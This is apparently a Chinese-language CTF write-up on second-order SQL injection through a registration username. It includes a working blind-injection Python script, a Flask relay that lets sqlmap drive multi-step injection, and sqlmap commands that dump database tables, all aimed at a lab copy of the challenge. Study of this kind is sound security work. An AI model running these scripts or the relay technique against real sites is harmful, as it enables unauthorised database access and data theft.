本文僅作為技術討論及分享,嚴禁用于任何非法用途。
前言
在滲透工作中我們經常能碰到一些邏輯復雜的 SQL 注入漏洞,并不能直接通過 sqlmap 工具注入拿到結果。今年網鼎杯的一道 SQL 注入題 “張三的網站” 讓我久久不能忘懷,我不斷思考遇到這類型的 SQL 注入除了手工注入然后編寫腳本一點一點脫數據以外,有沒有一個比較優雅的解決方案呢?
一道 CTF 題的思考
先來說說 “張三的網站” 這道題目,因為我手上沒有題目源碼,所以就根據記憶中的各個功能自己寫了一個(很少寫 php,代碼很爛),相關代碼已經上傳到 GitHub,見文章底部。
該題目主要涉及 3 個頁面:
- 登陸頁面

- 注冊頁面

- 登陸后的主頁

題目中的登陸頁面、注冊頁面均無 SQL 注入漏洞,但是登陸后的主頁在用戶名處存在 SQL 注入漏洞。要利用此漏洞,需要在注冊頁面控制用戶名,郵箱使用隨機數生成的郵箱,密碼隨意,然后使用郵箱和注冊時的密碼登陸,登陸成功后跳轉到主頁,此時觸發 SQL 注入漏洞。
注冊名為 “123” 的用戶:



注冊名為 “123’” 的用戶:


以下是一個 Python 腳本手工注入的解法:
import requests
import random
import re
import string
proxy = {'http': '127.0.0.1:8080'}
session = requests.session()
def register(username, email, password='123'):
burp0_url = "http://192.168.154.130:80/web/register.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
def login(email, password='123'):
burp0_url = "http://192.168.154.130:80/web/login.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"email": email, "pw": password, "submit": ''}
r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
# 跳轉首頁
burp0_url = "http://192.168.154.130/web/index.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Referer": "http://a434051f6c184741b1ede6b610a15f805a546b5b172748e9.changame.ichunqiu.com/login.php", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
r2 = session.get(burp0_url, headers=burp0_headers, proxies=proxy)
if r2.status_code == 302:
print('username payload no work')
elif r2.status_code == 200:
pattern = '''(.+?)'''
try:
userr = re.findall(pattern, r2.text, re.DOTALL)[0]
if userr:
return True
else:
return False
except:
return False
def main():
key = string.ascii_lowercase + string.digits + '{}_-'
flag = ''
for keynum in range(1, 43):
for s in key:
username = r"""'or(substr((select e.a from (select (select 1)a union select * from flag)e limit 2 offset 1) from {0} for 1) = '{1}') and '1""".format(keynum, s)
email = '{}@qq.com'.format(int(random.random() * 10000000))
register(username, email)
if login(email):
flag += s
print('key: ' + flag)
break
if __name__ == "__main__":
main()
如果對 ctf 不熟悉的朋友應該會很懵,因為語句中直接查詢獲取了 flag 表中的內容,而正常情況下,我們是不知道真正的 flag 在上面表,這樣的解法我個人覺得不具備通用性,當然了在 ctf 比賽中是很高效的。
那么,有沒有可能通過 sqlmap 來進行注入呢?顯然,直接使用 sqlmap 不進行二次開發是無法檢測出注入點的,因為 sqlmap 的注入邏輯不支持多個數據包的邏輯處理。于是我在想有無一種辦法,拿到 sqlmap 的注入檢測 payload,然后我們通過 Python 編寫相應的請求邏輯,再把響應結果返回到 sqlmap 呢?答案是可行的!
Flask 中轉 sqlmap 注入
代碼實現的結構如下,首先創建一個 flask 服務,接收 payload 參數的值,然后傳入函數 custom_fun 中,custom_fun 函數由自己編寫請求邏輯,把 payload 參數的值填入到存在注入點的參數中,然后發起請求,把最終響應結果 return 就行。最后通過 sqlmap 檢測 URL:http://127.0.0.1:5000/?payload=1 即可,可以適當調整 sqlmap 的注入參數,比如 --level、--risk、--technique 等。
from flask import Flask
from flask import request
import requests
import random
def custom_fun(payload):
return ''
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
payload = request.args.get('payload')
elif request.method == 'POST':
payload = request.form.get('payload')
return custom_fun(payload)
def main():
app.run(host='127.0.0.1', debug=True)
if __name__ == "__main__":
main()
流程示意圖如下:

完整注入過程
先來看看本例的實現代碼:
from flask import Flask
from flask import request
import requests
import random
def custom_fun(payload):
email = '{}@qq.com'.format(int(random.random() * 10000000))
username = payload
password = '123'
proxy = {'http': '127.0.0.1:8080'}
session = requests.session()
# 注冊
burp0_url = "http://192.168.154.130:80/web/register.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
resp = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
# 登陸
burp0_url = "http://192.168.154.130:80/web/login.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"email": email, "pw": password, "submit": ''}
r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
# 登陸后跳轉到首頁
burp0_url = "http://192.168.154.130/web/index.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
resp = session.get(burp0_url, headers=burp0_headers, proxies=proxy)
resp.encoding = resp.apparent_encoding
return resp.text
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
payload = request.args.get('payload')
elif request.method == 'POST':
payload = request.form.get('payload')
return custom_fun(payload)
def main():
app.run(host='127.0.0.1', debug=True)
if __name__ == "__main__":
main()
從代碼上可以看到,只需要把請求邏輯寫到 custom_fun 函數中,把最終結果的響應包 return 給 flask,剩下的就可以交給 sqlmap 了,優雅!
這里說一個小技巧,可以使用 Burp 的拓展 Copy As Python-Requests 來一鍵把 burp 的請求復制為 Python requests 請求:


然后使用 sqlmap 測試一下,因為是通過本地 flask 中轉,我們的 sqlmap 的 target 應該是本地的 flask 服務端口,命令如下:
sqlmap -u http://127.0.0.1:5000/?payload=1
檢測時 flask 服務的輸出:

成功檢測到注入點:

當前數據庫:
sqlmap -u http://127.0.0.1:5000/?payload=1 --current-db

跑表名:
sqlmap -u http://127.0.0.1:5000/?payload=1 -D test --tables

跑 flag 表數據:
sqlmap -u http://127.0.0.1:5000/?payload=1 -D test -T flag --dump

一顆小胡椒
骨哥說事
安全圈
LemonSec
安全圈
關鍵基礎設施安全應急響應中心
骨哥說事
HACK學習呀
系統安全運維
安全圈
合天網安實驗室
看雪學苑